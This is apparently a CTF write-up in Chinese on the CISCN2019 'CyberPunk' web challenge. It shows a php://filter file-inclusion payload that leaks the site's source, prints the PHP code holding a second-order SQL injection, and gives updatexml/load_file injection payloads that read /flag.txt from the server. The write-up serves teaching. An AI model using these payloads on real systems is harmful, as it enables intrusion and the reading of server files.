BUUCTF-WEB 【CISCN2019 华北赛区 Day1 Web5】CyberPunk 1

考点:文件包含、二次注入、sql注入读取文件

这道题本来打算自己折腾出来的,把源代码包含出来后,一直审计,起初,根本没发现是二次注入,一直在想办法绕过addslashes 和 怎么绕过正则,正则过滤了很多sql注入的关键字,只能检测有sql注入漏洞,但根本不可能查到数据。就是在这上面下的功夫比较多。最后才发现,文件change.php 有一个查询sql语句,带入查询的sql语句关键字被过滤了,在查询出来的基础上,紧接着有一条更新语句,更新语句是有一个条件是从数据库中取出,也就是$row['address'] ,然后找到这个$row['address'] 插入的地方,也就是首页index.php ,后台处理是 confirm.php, 发现没有处理 $address,于是就知道这个题考的二次注入。知道以后,可以查询表名,字段名,就是查不到字段值,网上找个了遍,群里也问了哪些大佬,都没有得到结果,最后才看来wp,发现flag根本不在数据库中,而是在 /falg.txt 中,简直人傻了。

分析

主页上一个关键的地方,可以用文件包含出几个文件的源代码。

image-20210511195148058

payload

1
?file=php://filter/read=convert.base64-encode/resource=index.php

confirm.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
# 这里接收address
$address = $_POST["address"];
$phone = $_POST["phone"];
#
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
# 这里会将address 插入到数据库中
# 这里使用了预处理 不存在sql注入
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>

change.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
# 这里会接收 address 参数 特殊字符会被addslashes 转义
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
# 这里会把刚接收的 address 更新 到 address 字段中
# 会把查询出来的address 更新到 old_address 字段中
# 这里传入的 address 已经被 addslashes 构造不了 单引号闭合
# 而这里的 $row['address'] 是从数据库中取出
# 而刚刚的confirm.php文件并没有处理address 参数
# 这里会存在二次注入
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

贴了两个关键文件的代码,总共有四个功能提交订单 查询订单 修改订单 删除订单

漏洞出现在提交订单修改订单当中,直接构造payload。

payload

查数据库

1
aa' or updatexml(2,concat(0x7e,(database())),0) or'

加载flag文件

1
aa' or updatexml(2,concat(0x7e,(select load_file('/flag.txt'))),0) or'

读不完

一次

1
2
3
4
# 一次
aa' or updatexml(2,concat(0x7e,(select substr(load_file('/flag.txt'),10,40))),0) or'
# 两次
aa' or updatexml(2,concat(0x7e,(select substr(load_file('/flag.txt'),20,50))),0) or'

测试

把查数据库的payload提交上去

image-20210511201358604

再修改订单信息

image-20210511201457422

成功的拿到了数据库名

image-20210511201632329

接下来直接读flag,为什么不是放在数据库中,我也是不断的读取字段名,读了差不多20多个字段名,一直读不完,才去看别人wp,发现要用load_file 去读 /flag.txt 文件。

提交

image-20210511201851798

修改

image-20210511201926499

拿到flag,但是并没有全拿到。

image-20210511201957957

再读一次,就拿到后半段。

1
aa' or updatexml(2,concat(0x7e,(select substr(load_file('/flag.txt'),20,50))),0) or'

image-20210511202127939

update 注入:https://wooyun.js.org/drops/%E5%88%A9%E7%94%A8insert%EF%BC%8Cupdate%E5%92%8Cdelete%E6%B3%A8%E5%85%A5%E8%8E%B7%E5%8F%96%E6%95%B0%E6%8D%AE.html